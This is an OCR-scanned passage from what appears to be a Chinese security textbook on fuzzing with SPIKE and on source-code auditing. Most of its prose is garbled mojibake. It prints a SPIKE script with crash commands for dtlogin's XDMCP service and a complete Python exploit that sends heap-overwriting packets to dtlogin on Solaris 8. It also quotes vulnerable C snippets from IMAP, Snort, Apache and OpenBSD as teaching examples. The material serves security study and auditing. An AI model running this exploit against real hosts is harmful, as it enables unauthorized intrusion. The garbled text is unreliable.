K RIS, SRIEIT G BRI, FHEox00BURAR R A (RAND. KLt
o BT — T A A 9 S TR P 22 2 o

GRS MR R M, TT BRI, SR, SRR,

1742 ERFREF
TR A A K RIS T R E MBSO, —BRACSN. ik

KBTI, RIEK PR KRR A R BAR, TN AR PO s IR
ML FFEAE B RFHORRIR TR s LR BRI . X EERE IR T MK 4,
AL E AR PR AT, RO PRI, EAI& AR, It AR EHEE
PGSR YMUE A ichecksum, {42 /3, AT RFT A 2 (K AER checksunfilfd. %f
PR A TR SRR ORI, SRR, XEHERMOR B, BHEAN
ST fE R ME— IR

AR R, WA FIELFAIDLLIEATE, HERAAESE . VREN AT LAER ) i
BRSO, SCORERR T LLZEAE AR SRR R O MR o G R — R AR AR P
(Quake. Half-Life. UnrealMILALA), A1 THLIEMKYES (Sh), MHRMRRT M
xR, ELFAIDLLYENIERAEIR ST .
17.4.3 WS HRBHRIR

AT B BARRYF MR GET IR G TREAHIBR, HRATLUHEN “He”
MO . H0, RPCHRAHIE M fxdr_string. xdr_intBRZUUH R BAAAT, AARSEHER IR
Shob TR AL, WA EGIRZ, AR0T LA T MR MR SRR P A RIS MR . 5,
PRAT AR AT I BRBRAM, T T T BLLARES, USRS AT AR B AR, ARAT gt
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SRUIAEERE. b, BFRTHEE— MR, EERERNLS A LR, X545
BOERR R, ABARE ALK B A AT e T — BRI R T4 34
17.5 SPIKE

BIHAALE, RS EORIRE T AN T, 2575, RAE AT — MBI T A,
FLE S BIRKAE LTS HBIRIR CRMRCR; B RREBIRIB AP, BOBIRIR TRt 7T

BUARIE H 2K o A% # (0 BEM 30 3% TR A W SPIKE, # T GNU 2 3% ¥ & iff BD ] M
i i .shtml FEE .

ip:
17.5.1 ft4R& SPIKE
SPIKEAE T HOBIMIRTE 40065 £ R Hspil O TRBRERRIAK,
spike 4 12 HE R H A AN SR 15— Y R BRI HOIL G S8 DA B 0o 33 S SPIKE A
T SRR AT S, HEN ERIKE.
RATEIE L0 M A B) FUORSPIKERL 4 TAEM . SPIKERMICE N, FiLl FHMs ¥
FAC. A MBHRBHER T ARTALL. BB BAIR 2.

pata: <>

s_binary("00 01 02 03"); //push some binary data onto the spike
Data: <00 01 02 03>
s_block_size_big-endian_word(*Blockname*) ;

Data: <00 01 02 03 00 00 00 00>

BRATEG X Kybig-endian TR B T 4BIH 2] .

s_block_start ("Blockname”) ;

Data: <00 01 02 03 00 00 00 00>

TEIXH, JEASPIKEM) ZH4E T4

s_binary("05 06 07 08");

Data: <00 01 02 03 00 00 00 00 05 06 07 08>

VERC BITRINGE R, 4ERBR MBI T o

s_block_end("Blockname") ;

Data: <00 01 02 03 00 00 00 04 05 06 07 08>

RN A R 26 B ), AL XA T RAT T LA R I B 4 7T LI (] 3 T K
/s IXXSSPIKERSURHIR G4k KGR SC . SPIKEth 3R Gt HIRIR “ 438 " CAWAFREUIIE 4
i, KT MEAEN B TR E AR MSHCh RIS MHEMEH. Bll, FHEN
BRI N«
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<length in big-endian word format> <string in ascii format> <null zeros
<padding to next word boundary>

IR, St SRR AR % R ST % Fendian, SPIKERL & MIBIFR 4 BN 15 SR B B
JiZ
17.5.2 A1+ 4F SPIKE #4815 &ty

FASPIKE (3$MLIFSPIKERIAPD M & UHLA RS 174, SPIKE APILIE MR R
RN, DR LI Uik R — R B 1B — e W KBEEAMFRH. SPIKE
UL B AR S A MIRTRIEA, ARV B S KESRFH R ERBRIR TS
PR, o AR, s A ok RS BT R K

AHXSSPIKEXCHE, Fei Mok UL T A/, SRR B M 7 CEKRREGE P i X A R0
BRI (XBLIEE £ Hyrt ], I B AVEE R IR A T .

1. SPIKEEE S Mg

BT IHERFEARHN, SPIKEAEZARAMIR T &, Jer BB S (9 EMSRPCAI
SunRPC. FRUEZA, EHIR WM TCPERUDPYERE, T LA FISIA MOBUKIIA T L. fusiAn
OB L MY, T LS4 B (R HRIA TR SPIKESC 5 i 38 P8 R BpX 24 &
HTTP, SPIKEMIHTTP HUBIHIR T AAE 1 Webi 4528 1 JL PARR B, H1 R AR ERI i
Webfiii 57 2% S WeblR 4 B (411, SPIKEFRER—MRIFHIR S .

RAVAFERIIISPIKE ($1200848, SPIKERTAL T) Al LURBAEAT AT, 3 bt
BB b (S K o

2. SPIKERfl: dtlogin

SPIKELLE A LF, BEaLRm i F1, FEE A AR WAL o 0 RPN,
BB SPIKERAA IR E] o

B, RZBUNIX T3 K FIXDMCPDIMY . R EWNR F, SPIKERI M ffEs
RAFHRICRDR, XA T, RATAT HEthereal (HAEK A b Wireshark) HFTEA
YKo Etherealfd M Su Bt MM UMUAMT TR (FESISTIHBIE), WE17-15i7.

SPIKESCF41F :

//xdmep_request . spk

//compatable with SPIKE 2.6 or above

//port 177 UDP

//use these requests to crash it:

//(dave@localhost srcl$ ./generic_send_udp 192.168.1.104 177

~/spikePRIVATE/xdmcp_request.spk 2 28 2

//1dave@localhost srcl$ ./generic_send udp 192.168.1.104 177

-/spikePRIVATE/xdme_req'uaac.apk 419 1

//version
s_binary("00 01");
//0pcode (request=07)
//3 is onebyte
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//5 is two byte big endian
s_int_variable (0x0007,5) ;
//message length
//s_binary("00 17 *
s_binary_block_size_halfword_bigendian("message’);
s_block_start (*message") ;

//display number

s_int_variable(0x0001,5);

//connect ions

s_binary("01%);

//internet type

s_int_variable (0x0000,5);

//address 192.168.1.100

//connection 1

s_binary("01*);

//size in bytes

//s_binary("00 04");
s_binary_block_size_halfword_bigendian(*ip®);

//ip

s_block_start("ip");

s _binary(*c0 a8 01 64");

s_block_end(*ip*);

//authentication name

//s_binary("00 00");
s_binary_block_size_halfword bigendian("authname*);
s_block_start ("authname") ;

s_string_variable("");

s_block_end("authname" ) ;

//authentication data

s_binary_block_size_halfword bigendian("authdata®);
s_block_start ("authdata");

s_string_variable("*);

s_block_end ("authdata”) ;

//s_binary(*00 00");

//authorization names (2)

/13 is one byte

s_int_variable(0x02,3);

//size of string in big endian halfword order
s_binary_block_size_halfword bigendian("MIT*);
s_block_start ("MIT");

s_string_variable ("MIT-MAGIC-COOKIE-1");
s_block_end ("MIT*);

s_binary_block_size_halfword_bigendian(*XC");
s_block_start ("XC");
s_string_variable ("XC-QUERY-SECURITY-1");
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s_block_end("XC") ;

//manufacture display id

s_binary_block_size_halfword_bigendian("DID");
s_block_start (*DID");

s_string_variable("");

s_block_end("DID");

s_block_end("message") ;

E17-1

HIHTX-queryiEthereal 5 AL

S, RANHE ISR E MR E LA L BT T Ethereal ML R . RINVRET
PR, B0 TEME, SR T . MSPIKEEATEA IR, EHWiit i A
HEJF WixdmepilfsRf, FHEBNIRRA HAF RS, AXESolaris RYE L, MABBFERNME
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HITFHPIR free () FA—SMK, XRARM “KBKER, TURBERAERIRES 2.
BIAVFZUNIX (MIALX. Tru64, IrixFIE A #ECDERUNIX) #Edtlogin (F M BRRERF),
BT A B AR AR IR M B e (B R 2P 6 . 2E— NI MG, A A .

FHEH . spkR—NSPIKESAE, SHATHNGITETR—L, EEMKE, FARmEE, [
FEAPURKE DU T W— s BIRFRINIRE, S MREMRLIE R, SPIKEHHUERE
REFRAKA KB RIUSMNRAREERER, EABERASDY, S0 EREE
Ethereal 474§ B 314 i H .

BANEXAN B B F:

#!/usr/bin/python

#Copyright: Dave Aitel

#license: GPLv2.0

#SPIKEd! :>

#v 0.3 9/17.02

import os

import sys

import socket

import time

#int to intelordered string conversion

def intel_order (myint):
str=""
a=chr (myint % 256)
myint=myint >> 8
b=chr (myint % 256)
myint=myint >> 8
c=chr (myint % 256)
myint=myint >> 8
d=chr (myint % 256)

stre="$ckcicie' % (a,b,c,d)

return str

def sun_order (myint):
str="r
a=chr (nyint % 256)
myint=myint >> 8
b=chr (myint % 256)
myint=myint >> 8
c=chr (myint % 256)
myint=myint >> 8
d=chr (myint % 256)

stre="%ckctctc' % (d,c,b,a)
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return str

#returns a binary version of the string
def binstring(instring,size=!

result=""

#erase all whitespace
tmp=instring.replace(* *,"")
tmp=tmp. replace(*\n*, ")
tmp=tmp.replace("\t",

if len(tmp) % 2
print "tried to binstring something of illegal length®
return **

while tmpl="":

two=tmp[:2]

#account for 0x and \x stuff
\x s

result+=chr (int (two,16))
tmp=tmp[2:]

return result*size

#for translation from .spk
def s_binary(instring’
return binstring(instring)

#overwrites a string in place...hard to do in python
def stroverwrite(instring,overwritestring,offset):
head=instringl:offset]
#print head
tail=instring[offset+len(overwritestring):]
#print tail
result=head+overwritestring+tail
return result

#let's not mess up our tty
def prettyprint (instring):
tmp="*
for ch in instring:
if ch.isalpha():
tmp+=ch
else:
value="#x* % ord(ch)
tmp+=" [*+value+") "

return tmp

#this packet contains a lot of data
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packet1=""
packetl+=binstring(*0x00 0x01 0x00
packetl+=binstring("0x00 0x01 0x00
0x00 0x00 0x02 0x00")

packet1

instring ("0x80*)

#not freed?
packetl+=binstring("0Oxfe Oxfe Oxfe
#this is the string that gets free

packetl+=binstring(*0Oxfe Oxfe Oxfe
0x£2 0x£3")
packetl+=binstring("0xaa Oxaa Oxaa

Oxaa Oxff")

#here is what is actually passed i
#i0

packetl+=sun_order (Oxfefbb5£0)
packet1

#second i0 if we pass first i0
packetl+=sun_order (0x51£c8)

packetl+=binstring(*Oxff Oxaa Oxaa

#third and last
packet1+=sun_order (0Oxffbed010)

Oxaa
0x5£

packetl+=binstring(*0xaa
packetl+=binstring (*Oxff
OXEE OXEf OXEf OXEE")
packetl+=binstring (*0xff
Oxff OXff Oxff Oxff")
packetl+=binstring (*0xff
Ox1f Oxff OXEf OXffY)
packetl+=binstring (" Oxff
Oxff Oxff Oxfd Oxff")
packetl+=binstring (*0xf1
OX£6 OXff OXE7 OxEE")
packetl+=binstring (*0xff
#end of string
packetl+=binstring(*0x00
packetl+=binstring(*0x53
0x00 0x00 ")

0x3f Ox£f
Ox£f
oxfa
Ox££

Oxff

0x13
0x45

#this packet causes the memory

instring ("Oxcf Oxdf Oxef

Oxaa
Ox£f

333
Ox££

0x£2

0x58
0x43

0x07 0x00 Oxaa 0x00 0x01
0x04 0xcO 0xa8 0x01 0x64

oxfe ")
d right here
Oxfe Oxfe Oxfe Oxfe Oxfe

Oxaa Oxaa Oxaa Oxaa Oxaa

nto free() next time

Oxcf *)

Oxaa*)

Oxaa Oxaa")
Ox9f Oxff OxXff

Oxaa
Ox£E

Oxaa
Oxff

OxEf OXEE OXEf OXEE OXEf

0x3f OxEf Oxff Oxff Ox2f

Oxfc Oxff Oxfb Oxff OXEf

Oxff Oxf3 Oxff Oxfd OxEf

OxEE ")

0x51 0x55
0x49 0x54

0x45
0x59

0x43
0x55

ox2d
0x52

overwrite

0x01 0x00*)
0x00 0x00

Oxfe Oxf1

Oxaa Oxaa

Ox£f

Ox£f

Ox£f

Oxfc

Ox£S

0x52
0x2d.

Ox££

Ox£E

Ox£f

Oxff

Ox£f

0x59 0x2d*)
0x31
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packet2
packet2+=binstring("0x00 0x01 0x00 0x07 0x00 Ox3c 0x00 0x01*)
packet2+=binstring ("0x01 0x00 0x00 0x01 0x00 0x04 OxcO Oxa8 0xO1 Ox64
0x00 0x00 0x00 0x00")

packet2+=binstring("0x06 0x00 0x12 Ox4d 0x49 0x54 0x2d Ox4d Ox41 0x47
0x49 0x43 0x2d 0x43")

packet2+=binstring (*0x4f Ox4f Ox4b 0x49 O0x45 0x2d 0x31 0x00 0x13 0x58
0x43 0x2d 0x51 0x55")

packet2+=binstring ("0x45 0x52 0x59 0x2d 0x53 0x45 0x43 0x55 0x52 0x49
0x54 0x59 0x2d 0x31")

packet2+=binstring ("0x00 0x00")

class xdmcpdexploit:
def _init_ (self):

self.port=177

self.host=""

return

def setPort (self,port):
self.port=port
return

def setHost(self, host):
self.hos

def run(self):

#first make socket connection to target 177

s = socket.socket (socket.AF_INET, socket.SOCK_DGRAM)

s.connect ((self.host, self.port))

#sploitstring=self.makesploit ()

print *[*] Sending first packet.

s.send (packet1)

time.sleep(1)

print *[*] Receiving first response."

result = s.recv(1000)

print *result="+prettyprint(result)

if
prettyprint (result
tion[0] (0] (0] [0]":

print "That was expected. Don't panic. We're not valid ever. :>*
s.close()

[01111(01(9](0](1c] (0] (16]No(20]valid(20]authoriza

s = socket.socket (socket.AF_INET, socket.SOCK_DGRAM)
s.connect ((self.host, self.port))

print *[*] Sending second packet”

s.send (packet2)

#time.sleep(1)
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#result = s.recv(1000)
s.close()

#success

print "[*] Done.*

#this stuff happens.
if _name_ == '_main__':

print "Running xdmcpd exploit v 0.1%
print *Works on dtlogin Solaris 8"
app = xdmcpdexploit ()
if len(sys.argv) < 2:
print *Usage: xdmcpx.py target [port]®
sys.exit()
app. setHost (sys.argv(1])
if len(sys.argv) == 3:
app.setPort (int (sys.argv(2]))

app.run()

17.6  HAHEMNIK TR

T AR S I OORINIR TR . Hailstorm FleEye FICHAMJE B NLARISIR TR .
WRRARE— 5 T BUBIRER TS, Greg Hoglund?EBlackhat W7~ (ILIAT F (8 — . BULEH
WENFFHEHATSPIKEN MRS, RERT HCREMIGR TR WSS, B
FiPython (AREHSPIKE, REFLEF &M Python). B4, 477 LAZEBlackHat XA R FIR%E
41 XSPIKEfM) 48 o

17.7 NG

— TR R BR A BE S, 3 TR ELRE . (HRATABIRAERBE L BRI
WL, BIFHFE A, B RIRIAE R MBI T I, XRERE, KT RESZEE R,
HATHSL AR B IR LI AR XA R TEHE LB SRR T —
fubb ik £



$18H
IRESEE T
FkimiE

YoMk TR I A IR, (BRA MR AR E AT,

iﬁﬂﬁ&}‘ﬁ&ﬁg?%ﬁ&ﬁ%%ﬁﬂ- HTEWG, BHUSR, ERIFS iR

I BT T A, WORE Z AT ], AT SR E R AR . BRE BT, i

BRI, EBMRAIER, W SEHERS . FERHNMBERFE T RS R
EAFERFTH R, BB A BRI -

WIS B QR # B . SR ARSE, SRR A RAT AR 5 A
PR R R RN s TS NSO T RARIBAT T R LN RPN Z M H K. LA
AN B AR F RN R RGM vk R TFAH-A 8B, R H iR IR
TARYFIIT . SRAT LAV W BER, BRRA H2E E

BRI AR B R ? XA S — BB AR R ARSI A KB,
FLeR R LS5 RH, FLEKEHSES, ENRLFRATTHAN: AT, RiREaTREER
S RBUXFHLE N Mo LWRIGAR, WD MRS T R B A IR, T AN R T i
LU«

7 R 0T AR RO USRI, T LR S AR eI, DIRELL ) AR,
BAEL A RPR & AR, RERENR, WRARSMEHDOYN, HRANBAREERZ
AW FFERAM

T B TV R R SLAE R () BV RO AR A S () R B AER R A RIIWEAE R A
Al ARAREERAFF R — W, I AT T REAE AR R R BRI, 4R,
FREAT A AR B, RTINS T WRYT T, I/ R AR (] A B0 M R
[HABBER . RNT M FBRER T BATT 06 7 oA 4 )

AR JUAEAR LG, BIAERR A S 2 I AN SRRRS #T0F TAE, KPR & RIE L 9 BRI . IF
REDRAMEH LR, JLHIRA LR 2w . FRATHA B0/ RFE R R R 2R
W, WIRBFTOE W LK LRI — . DU O WIABT ARG T . (S IETE
TR, PR RRITIHARAR. FTUARAN LA, SAMRAEA R, TR
AT/



181 TR 373

181 IR

WRAUH A Gt 2 Algrep, ABABTRIHF IR —MHAERRME SN . $17, BEFSENH
JHE TR AT AR BRAT . XS T A—BUH FRB TR, HEAIERR 7t L
B HH MR —BATERRN TR, B0 TSN HEMHRORBEFRY, XET
AORAENEMWYT .

18.1.1 Cscope

Cscopefe —AMRIIBET R, Wi KRIFOHIERAHE . BB IUREREIFR, t
SCOF 4 BSDVF ATEH) 24 Akt 7T LIZEhttp:/cscope.sourceforge.net/F ik F (52 .

Cscope ] LA 5 1958 X, BAEHAMAR P ELHNFSIIH . CRAEEMITELER
By, SREAHA R EE A FTH R EEITH, Cscoped Sead:—AMES A5 I3
W, XY AR AL o BREAT MR G A RN R RS OWERS, AT LU — A
KA P AR SE WAL 5. BB AT ARROR S, & A7 NUNIXRR A Lig
AT, B RTEAT4ELF K WindowshiA . Cscopett 87 IfE I R A BLA, WE RATIRAHHL
WA E.

V¥ it BRINSTHFCscope,  WIVimAIEmacs, B] AT #4289 S5
18.1.2 Ctags

CtagsHERE ATEXRURTYE RS HHRT ), ERERIERMIAEE RS i
SCAFEEARS AL BRSO . 2 RSO PRIE S, B AV B T S
WA . AR B FES, MEEMR, EXRHFCHCH. ClagsiHFIEZ ki,
BT AR PRI B FEAT IRk, AAJF IR BB LAY s A slhR e AR L BOm A T .
HE FSVHRIAT RAL ISR Y URES . 7T LL7Ehttp://ctags.sourceforge.net/ F#{Ctags, 535, #%Linux
FUASHE G P L (4T RS«

18.1.3 44E#R

B EURA R A (R SCA AR B A ), A I FIE R R AR . SELe R BB AT PEAT A
FREFFRMER S, RAHRIIO S, FIUVim (iRHMEREAD FEmacs, BT HRETE
IR RE RS, EANEHRGE T — IR A, WIS ICREThAE (RTHRMSERLIT / M
SIS A T AME S R RERN, KRR

LR SO A G as, R A B SRR, RSt 2% 00 LU LA 0 3807 — 2%, {8
FEIEFEINS, RN R RB R RER 5 .

18.1.4 Cbrowser
W& T RHBBEA Cscope Clags K LIAITHAE. BICbrowser, &4 Cscopetfit T BBALII

© BT ORI TIS, RIKFHEIF LT HSource Insight, 24N HIRIA RS 5.0058, ——iFE
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M, SEGUIF i WM AT LA~ F.
182 AzRESHIR

F T HSSAR R BAT AT, HERIRR . KRR R, EARA =56
HAIFEMA, TTHEBRE, EREBF— A TARBABELRMOFIE. FERREM
AEARIRACTIEL 7 S ARH R, 2 AT TR ST YRR, AT, XA TAHBAL,
AOERIET MW RAF WL, ENTEH AR, BT & b RS 7 R R — e
B

Splintft— MBS TR, FATFRIUCEF LK. Splintlid FREF+HAERER
JrRPATAIRT BRI S AR A . XAMMTS | e & O BRI IR = 2 e ), e
H 3R BLMBIND TSIGHE ) (RARBIEXMRRAMLIE). RESplinttE AT SAR I
WAL, O —R. EHBEREREIFR, A LUZE www.splintorg/RhkAb -] .

CQual &2 —AMFHCHRSM M LR HI R R . EF RAREMCHRR T, HiRtainted
SXPEIA BRI, T PR s 1) S R B AR R KA. CQual AT LU B S LR
fukg AL AT, MF LA, EIHFARERIELAM M. CQualtileff Fosterfis, A
1Ehttp: cs.umd.edu/~j qual/ T #.

A T (WSecure Software 2 AEKIRATS) AT LAE AL Ff), S HIWHR . —LeaHR AR
BV S EAPRT, JCALK) e A TFAT IR TR B S AR SULE e AL 5B R

AR, FEAHTI A R TR AR, 4T AT T RIS S, b
A TR KB R A AL, (R ok 2 T i) o v 2 R R B oK
18.3 Akt

AR PRI F AR, 918 TR QAT BT, (RIXR U HBRAEAR A I7E
WY IRR T A S ARE, SURA T FILART 2R R A A . AR h R, sRARIR
FIARF R BT ORI GXNAZR SN MRS ATIE), BRIk S R M 7 ke kil . EAt
ATTHEENE? KB H BR AR R AW 2 o BRI B A 4 — e LI A TR B
18.3.1 ATWMET (RA#E) WFHE

TEETHIE FRAES, WERBRAN TR, B, #3320 T RHE¥syslog
PR AL R IR, TR NIRRT AT BRI o XTI AU,
R R B AR N T A8 E AR . (BIXAN iR AT G, GRS i T 4% B AR
JFETFCA RERBUARI . B BB IR AR A 2Bl . [ DU F R R HBOE & 4R
TR AP ARTS AL AR YU I, TOARLE A BN T 08 B AR A RE IR B MR, i IE
Wik — .,
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18.3.2 AKMLAHE

FEAIRI L7k, o T BB A A USRI R T MRERIT A B T AR, 4B
R, R Mrain MOTH, WA S —BREIR A, NIRRT T 8. RS
EATIETERRE ), RO THEF, ATRENTE. TEAMORA.

18.3.3 #&%

WA PO AR S b, Tk ) A R AT B B T RO R B R . AT, R
HERATIRL AR, BRREM— L. WHRY, LATRBEERATRTE, TSR
WA HARL KA B, EFEATH FRWAR TR, BAELRIRES, SIULPR
KB B, FEAHTWDIRS B RE oot MR, (R RAEN MRS
RS LFUERIRR. 4 T 1] SRRk, o AR A T AR 5 4 T S AT Bl
R B AR X

TELE A, 8 S S SOt R G AT B ROARED , SRR AR ZE
EERTBE, S48, T TR AR . SRR E7E S AR R 2
WA AR B TRF B TT, ARSI L R T RS M LR, AR, AR
TERETCAAL T VL IR B 6] o ZEFEACHS HLBRARA b O TS 11 AT T O B e A3

*T.
BIDKB KRB BORT R IR RE G ik, AN IR BAT R L .

184 RS %

R I BAR RHRI A R B LA . BR T EFUGA SR, R %S T A5
R . LIRS, R S IR F IR, 552 ARG A B AN & B B R
B TR UL BAT 1 R EHTIR K, S T RN
18.4.1 LiEIBIBEIR

BN AR, (8% FEIRIE. X T R G RIS
BORAKAE (condition) SRMARIIIND, WA TRERFEN A FGHI . TIARI M. NIRRT
T ST B AR L, ISR AT T AEY o 18, 0 SR () B0 O o I 2
BRI, ONERRRY T BT AR BT o S AT ) 0 S FO R S SR O . 24—
A4 A MR AT AL AORE RS, 3 TR ST B
18.4.2  (JLF) iR %

SHERTETFIRG A TGN AT LRSI, DUAEJUPA T o SN I6050 ST 2 A7 W)
WAABIAR RSB, Mstrepy. sprinttflstreat, 4K, BANKLEEHMAETLE, AR

© BIFRTEARTEAFSHMIT ORI, — 2k
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FE AR EARAEARIE LA M0 T BT, LIRTEH SE75 24 X SR S B0 ZE i K B i
0L, ARTEBRAE R TP IR B L RA B F R T -
strepys sprintf. strcat. getsMIFMUMRERA HNEMX K/ MIME. WRRENE
LG H G, SRR ST RIBOR Z AR M ASUR D, A AR MR AR R ERA T
M. BRTT, WARBCH AT ERIZERNTE, XERMMEETEN L2 KRR, RITXE RN
HAMBELHBAMER, Hl, sprinttWstrepyfEEANISRAEFA RE], LMAXLE
B RIARBATIAF R B R IR
1998 4F 75 4 R 41K 2 IMAP i % 28 B SR T 1 8t 3542 3X 260 9 1 10E 34N S
authenticatefird, HRFERESAMATUR QAN FILFIFH SHEGX .
char tmp[MATLTMPLEN] ;
AUTHENTICATOR *auth;
/* make upper case copy of mechanism name */
ucase (strcpy (tmp,mechanism));
TECART, AT R BB K S F R BAR A R B R — T B kiR, Ril, méet
AHEE. BHRRFRATREMANTHRORD, EEEZRKHOFHRRTUT .
/* cretins still haven't given up */
if (strlen (mechanism) >= MAILTMPLEN)
syslog (LOG_ALERT|LOG_AUTH, "System break-in attempt, host=%.80s",
tep_clienthost ());

1843 MA{LSH

KA B AW RIE20004E HUSEAIHERIUNY, ZERE LA, AR T A ELHR
IR . A A H S0 R A T S0 4 A A M i e ine e B MR AL
A (B rprinte. syslogfIABINEEO. WIRKHH ERBIMILE, Mmiiens
BT RAT FERARTI MM XHXSRIANFIR, (ERATLRER Y T T HLL 32 )
el A, EHATITENR S S N SR S0

FEHT TR AR S RIS AL . DUT R Ror ine AT B BB,
BIRGK LRI, SUERCelH R LSRR AL RS T . B, R AU RTRIE ORI AT
U HsysLog W Atk W SR

AR F e

syslog (LOG_ERR, string) ;

AR T

syslog (LOG_ERR, "$s",string);

W BCE# T AR st ring, “RIRIHII " BV AT ARAELE S AR . 4E SRR A L AR,
GRS B IR, L — 6 B UE A AL EB R R T A o DR A7 SR P 1 52 SR
print-likeBi¥, Bk, TAIMIHARRILRBT NI AS W B R X AL
TR, (SRR R T AE LA T A
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A BRI I H SRR . L% 7T LA BI% B L i f54h HRo R %,
BB T HIZIGRO, I CAATRI AT 77 Rk syslog. TRUMIBIF B8 HETRAT
LA A B IR

void log_fn(const char *fmt,..) {

va_list args;
char log_buf([1024];

va_start (args, fmt);

vsnprintf (log_buf,sizeof (log_buf) , fmt,args) ;
va_end(args) ;

syslog (LOG_NOTICE, log_buf) ;

}

He AR R A wu-fipd R%S88 ERIN), #¥, AN ERRAT EMNMNS
o R, DRI A T AR 55 RBLIX KW, BT LAE IR SROsh A4 K 2 300 TR IRk 1 LA 7
BEET .
18.4.4 $HIRMARHRE

REFIRF— AR AT AR, BRI E, XERAMALH. BRREHMREMR
HARAARAX AN, ALRE—F: ENHRTZEER. RIEPFAILRE, BWEELR
BUXK W BeA)IE B, NEFENEFRUAT T AR, RECER_RZAM. ERRMENZLE,
FEH AT Z AT, SERIFIX SR AR T B IERTER.

20034F ) FLLERHE, 1SS X-Force &R IR f1Snort RPC FUALFELFE FF4t iR it L BT IEBHEATIA A0
BEHHIF . T RLESnort P R ILIIH BRI RFT B

while(index < end)

{

/* get the fragment length (31 bits) and move the pointer to the

start of the actual data */
hdrptr = (int *) index;

length = (int) (*hdrptr & OX7FFFFFFF);
if (length > size)
DebugMessage (DEBUG_FLOW, "WARNING: rpc_decode calculated bad

"length: %d\n", length);
return;
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else
N .
total_len += length;
index += 4;
for (i=0; i < length; i++,rpc++,index++, hdrptre+)

*rpc = *index;

b

}

FERFE, 1engthRRPCHN MIKE, sizeRBHAMBKE. MHEMKFMALENX
FE, S RAEF AT Birpe Ml indexZE MG Hl. IXBARD S B i B B B SoR EARPC

W H o rocHlindexBi A XMEILN, total lenRARBEAEHEMEIEKE. BFESA
SRBTIA TR, XM E LI L, A AT EER? FARFE L aTRPCH
KRER S BOR KR, (HIER A AR R IEFTH RPCRE A M B KEE (AR XRTRY) MEnk
KA KA X MARIER, (EHSERBEHRT. AU, DRMEARERGRE,
RATRERAFERAT , LRI ARA RGBT IRRRA], EERKRENUF
RAMNLLRIE.
18.4.5 fAMGH

TEFR L R A% 5y S AW 037, 7T TR 0 R BBl SRR AR M R ARAS L bt
AR T S, T LR ST A ) PR PR 4 M T i L AR AR, T 5 AR VP AT
FAMEXRTEEORTFHOEEUEMOMALH, JHPHLRAZEM. —BOkE, LRFF
AR RIS, A& FBOIROAIAER, A5 Wk . BT U B 2 R
TR I SR AR, AT AT

STAATIR L5 5 th i S )1 T RMark Dowd R 5 12 RHRH .
A BB G A AER K, RHER AR, A HRERE, B, @UREEEHIRY
KT RANKAR e T RAMERLH 485 TiHREERABEASRA, HUEATRLH
NGB IR, IR O M 4o . SR AT Sendmail I FF R # T T KR AR FEREY 1H A pl
Rk th, (EADIAA=4 T OB AR . — X FRANRIAIN A =0y 47, Kb BREAN
22 AT S/ Last Stages of Delirium, #F424% 5 ik T XM RIRA ATRARYE, B 0ARAT
HRHE T — AN P B DX AL

18.4.6 off-by-one i&if

off-by-oneiRoff-by-a-few il 4 JLHORADHE R, HBUXKHRM LERARL: —PRAW
NFHEBINTRNAEARZ I RIS N TR R 6 B EHLL o4, FEMRI Lt
o3 AT AR B AR, W LR B R B AT AR 2 5 NIX KR . IXRRIRTEM B A F A ef
CARIF, CARDARRF RS T AR B EMMET .

i, R RGATLH [ Apache 2.0.46.2 B (fy 5 Apache 2A . XA WA JE R B R H0AR L
T
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if (last_len + len > alloc_len) {
char *fold_buf;
alloc_len += alloc_len;
if (last_len + len > alloc_len) {
alloc_len = last_len + len;
}
fold buf = (char *)apr_palloc(r->pool, alloc_len);
memcpy (fold_buf, last_field, last_len);
last_field = fold buf;
}
memcpy (last_field + last_len, field, len +1); /* +1 for nul */

HLLEMIMELHRITE, fE5WRIOBHREIWeb JREBF, WBRH A 1eFAN
(true), HARIF WK o B/ Mimemepy WAHHE — DM EFHEBNLRZ 5. f1F Apache
A B S HHESI, BTLL, BERAERAMERE R LRI, R, SR — U AL EE L
'\O ' R FHEE (Koff-by-onei T o

AEFTEEGSHRITLL 0 N TR SR AOTEER, AP 4HATERE, LUBY il Hi Bloff-by-one
. TIUREDRTEOpenBSD fip daemon ERBLM, 2 LABLBAXAME.

char npath[MAXPATHLEN] ;

int i;
for (i = 0; *name != '\0' & i < sizeof(npath) - 1; i++, name++)
{
npath{i] = * i
if (*name == ‘')
npath{++i] = '*';

}
npath(i] = '\0';

R BAD R A P REEE, BR, WRERHENKARKRNFHRTS, W
H5 2> L —off-by-onedii .

T 24 St P 22 35t T 5 | A\ off-by-one i 1, 201 54 Ml st rncac S XA IEH,
P G X AR ) (BRI FWHAER, LUK ERRKRED —ANEH) 40
BIMREASH, KWRCEFWERARZI, NTORRHFHSEL 0GR,

TFHKHFBR T iR strncat Avk:

strepy (buf, *Test:");
strncat (buf, input, sizeof (buf)-strlen(buf));

RRM LR LR

strncat (buf, input, sizeof (buf) -strlen(buf)-1);
18.4.7 FEERHLELL A

MR SMAE R, PILEITERBL \0 4R, UERRFEENNAR. ¥
EPITLRS, MRS TR BRHWERL L, BTRSSIERSHE. Fil, WRFHH
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AT TERILE L, 0BRGP 73 o e S A B ) — BB Y o KRR S by e,
B, KIS R KB S T4 8 (A, QWA PR R ARSI AL
Mo R A RAFE S Bh o \0 S RRINASC I, BRAIZER THIRRSNT, ROIZR LS. Fi,
F¥strnepyfl5E H WBMIX 2R, REWUBHERFBU N0 LR, BFRALARFETHE
B0 g, HNBSR TRE. fil, FTENRBERREN.

char dest_buf (256];

char not_term buf[256];

strncpy (not_term_buf, input, sizeof (non_term buf));

strcpy (dest_buf, not_term buf) ;

B2 5 — A strncpy & ffinon_term bufbh'\0* %E, EERAEMK — X, B4
strepyll R4, TEH—Astrncpy M ~Astropy2 7], HM—ATR FEIXFEMAG, #EX
BARTE S 52 DX H R

not_term_buf [sizeof (not_term buf) - 1] = 0;

ARG X B PR AR X MR — W, BAERBWMR T, RATATAA B
TG
18.4.8 BEIZLL'\0'GR AR

B R TT A (O AR R B T S RO, N0 SRINENT, WESELE, HE
Bk E PR R, — BB, \0" RITY, MBRHREEMLIESR—NTHRIE, H
WHET R AL, T FEBUTIED . KR — Bt SR LI 7 H IR, A
ERURGEE T FRRER TR ORECSHREN . TIPS T HEIBG A 7E Apache
fimod_rewritetiHih K.

else if (is_absolute_uri(r->filename)) {
/* it was finally rewritten to a remote URL */

/* skip 'scheme:' */
for (cp = r->filename; *cp != ':' && *cp = '\0'; cp++)

/* skip i/t %/
cp += 3;
Jefis_absolute_uri$ifT FHIfRHS:
int i = strlen(uri);
if ( (i > 7 && strncasecmp(uri, "http://",
(i > 8 && strncasecmp(uri, "https://*,
(i > 9 && strncasecmp(uri, "gopher://*,
(1 > 6 && strncasecmp(uri, "ftp://",
